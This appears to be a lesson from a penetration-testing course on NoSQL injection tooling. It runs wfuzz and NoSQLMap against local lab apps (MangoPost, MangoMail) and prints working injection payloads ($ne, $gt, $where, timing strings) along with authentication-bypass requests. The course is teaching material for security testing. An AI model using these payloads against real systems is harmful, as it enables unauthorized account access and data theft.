Tools of the Trade

Tools of the Trade

Fuzzing with Wordlists

Fuzzing is a type of black-box testing technique where the tester injects large amounts of data into a program to see what causes software malfunctions. In this context of NoSQLi testing, we would be using wordlists of possible NoSQLi payloads to see what causes the server to respond differently, indicating a successful injection.

The effectiveness of fuzzing relies heavily on the choice of wordlist. Unfortunately for NoSQL, there are not many public wordlists, but here is a couple:

- seclists/Fuzzing/Databases/NoSQL.txt
- nosqlinjection_wordlists/mongodb_nosqli.txt

We can use wfuzz on the `MangoPost` application to demonstrate fuzzing.

mayala@htb[/htb] `$ wfuzz -z file,/usr/share/seclists/Fuzzing/Databases/NoSQL.txt -u http://127.0.0.1/index.php -d '{"trackingNum": FUZZ}'`

```
******************************************************** * Wfuzz 3.1.0 - The Web
Fuzzer * ******************************************************** Target:
http://127.0.0.1/index.php Total requests: 22
===================================================================== ID
Response Lines Word Chars Payload
===================================================================== 000000001:
200 0 L 6 W 35 Ch "true, $where: '1 == 1'" 000000008: 200 0 L 6 W 35 Ch "' } ],
$comment:'successful MongoDB injection'" 000000009: 200 0 L 6 W 35 Ch
"db.injection.insert({success:1});" 000000010: 200 0 L 6 W 35 Ch
"db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { {
emit(1,1" 000000003: 200 0 L 6 W 35 Ch "$where: '1 == 1'" 000000005: 200 0 L 6 W
35 Ch "1, $where: '1 == 1'" 000000004: 200 0 L 6 W 35 Ch "', $where: '1 == 1'"
000000006: 200 0 L 6 W 35 Ch "{ $ne: 1 }" 000000007: 200 0 L 6 W 35 Ch "', $or:
[ {}, { 'a':'a" 000000002: 200 0 L 6 W 35 Ch ", $where: '1 == 1'" 000000011: 200
0 L 6 W 35 Ch "|| 1==1" 000000013: 200 0 L 6 W 35 Ch "' &&
this.password.match(/.*/)//+%00" 000000016: 200 0 L 6 W 35 Ch
"'%20%26%26%20this.passwordzz.match(/.*/)//+%00" 000000019: 200 0 L 6 W 35 Ch "
[$ne]=1" 000000020: 200 0 L 6 W 35 Ch "';sleep(5000);" 000000017: 200 0 L 6 W 35
Ch "{$gt: ''}" 000000018: 200 3 L 13 W 136 Ch "{"$gt": ""}" 000000015: 200 0 L 6 W 35 Ch "'%20%26%26%20this.password.match(/.*/)//+%00" 000000014: 200 0 L 6 W 35 Ch "' && this.passwordzz.match(/.*/)//+%00" 000000022: 200 0 L 6 W 35 Ch "{$nin: [""]}}" 000000012: 200 0 L 6 W 35 Ch "' || 'a'=='a" 000000021: 200 0 L 6 W 35 Ch "';it=new%20Date();do{pt=new%20Date();}while(pt-it<5000);" Total time: 0.036365 Processed Requests: 22 Filtered Requests: 0 Requests/sec.: 604.9728
```

With the argument `-z`, we supplied the wordlist we will use (SecLists' in this case), with `-u` we supplied the URL of the target application, and then with `-d` we supplied POST data (the JSON object containing the tracking number in this case) that should be sent. Instead of a tracking number, we put `FUZZ` in the POST data, which Wfuzz will replace with payloads from our wordlist when fuzzing.

Taking a look at the results, we can see that `{"$gt":""}` stands out because the response size was `136 Ch` compared to all other responses, which were `35 Ch` long. This implies that this specific payload caused the server to react differently, and we should follow this up by manually resending the payload and seeing the result.

Tools

NoSQLMap

NoSQLmap is an open-source Python 2 tool for identifying NoSQL injection vulnerabilities. We can install it by running the following commands (the Docker container does not seem to work).

mayala@htb[/htb]
```
$ git clone https://github.com/codingo/NoSQLMap.git $ cd NoSQLMap $ sudo apt install python2.7 $ wget https://bootstrap.pypa.io/pip/2.7/get-pip.py $ python2 get-pip.py $ pip2 install couchdb $ pip2 install --upgrade setuptools $ pip2 install pbkdf2 $ pip2 install pymongo $ pip2 install ipcalc
```

We can demonstrate this tool on `MangoMail`. Imagine we know the admin's email is `admin@mangomail.com`, and we want to test if the `password` field is vulnerable to NoSQL injection. To test that out, we can run `NoSQLMap` with the following arguments:

- `--attack 2` to specify a `Web attack`
- `--victim 127.0.0.1` to specify the IP address
- `--webPort 80` to specify the port
- `--uri /index.php` to specify the URL we want to send requests to
- `--httpMethod POST` to specify we want to send POST requests
- `--postData email,admin@mangomail.com,password,qwerty` to specify the two parameters `email` and `password` that we want to send with the default

values `admin@mangomail.com` and `qwerty` respectively

- `--injectedParameter 1` to specify we want to test the `password` parameter
- `--injectSize 4` to specify a default size for randomly generated data

mayala@htb[/htb]
```
$ python2 nosqlmap.py --attack 2 --victim 127.0.0.1 --webPort 80 --uri /index.php --httpMethod POST --postData email,admin@mangomail.com,password,qwerty --injectedParameter 1 --injectSize 4 Web App Attacks (POST) =============== Checking to see if site at 127.0.0.1:80/index.php is up... App is up! List of parameters: 1-password 2-email Injecting the password parameter... Using hQPH@iST3.com for injection testing. Sending random parameter value... Got response length of 1250. No change in response size injecting a random parameter.. Test 1: PHP/ExpressJS != associative array injection Successful injection! Test 2: PHP/ExpressJS > Undefined Injection Successful injection! Test 3: $where injection (string escape) Successful injection! Test 4: $where injection (integer escape) Successful injection! Test 5: $where injection string escape (single record) Successful injection! Test 6: $where injection integer escape (single record) Successful injection! Test 7: This != injection (string escape) Successful injection! Test 8: This != injection (integer escape) Successful injection! Exploitable requests: {'email': 'admin@mangomail.com', 'password[$ne]': 'hQPH@iST3.com'} {'email': 'admin@mangomail.com', 'password[$gt]': ''} {'password': "a'; return db.a.find(); var dummy='!", 'email': 'admin@mangomail.com', 'password[$gt]': ''} {'password': '1; return db.a.find(); var dummy=1', 'email': 'admin@mangomail.com', 'password[$gt]': ''} {'password': "a'; return db.a.findOne(); var dummy='!", 'email': 'admin@mangomail.com', 'password[$gt]': ''} {'password': '1; return db.a.findOne(); var dummy=1', 'email': 'admin@mangomail.com', 'password[$gt]': ''} {'password': "a'; return this.a != 'hQPH@iST3.com'; var dummy='!", 'email': 'admin@mangomail.com', 'password[$gt]': ''} {'password': "1; return this.a != 'hQPH@iST3.com'; var dummy=1", 'email': 'admin@mangomail.com', 'password[$gt]': ''} Possibly vulnerable requests: Timing based attacks: String attack-Unsuccessful Integer attack-Unsuccessful
```

The results show that the injection was successful with multiple requests, and we could carry on to check these out manually. As you may recall from a previous section, we just identified an authentication bypass!

Burp-NoSQLiScanner

There is an extension for Burp Suite **Professional**, which claims to scan for NoSQL injection vulnerabilities. I will not go more into depth because I can't assume every student has a Burp Suite Professional license. However, if you do have one, then perhaps you want to check this out (Link to Github, Link to BAppStore)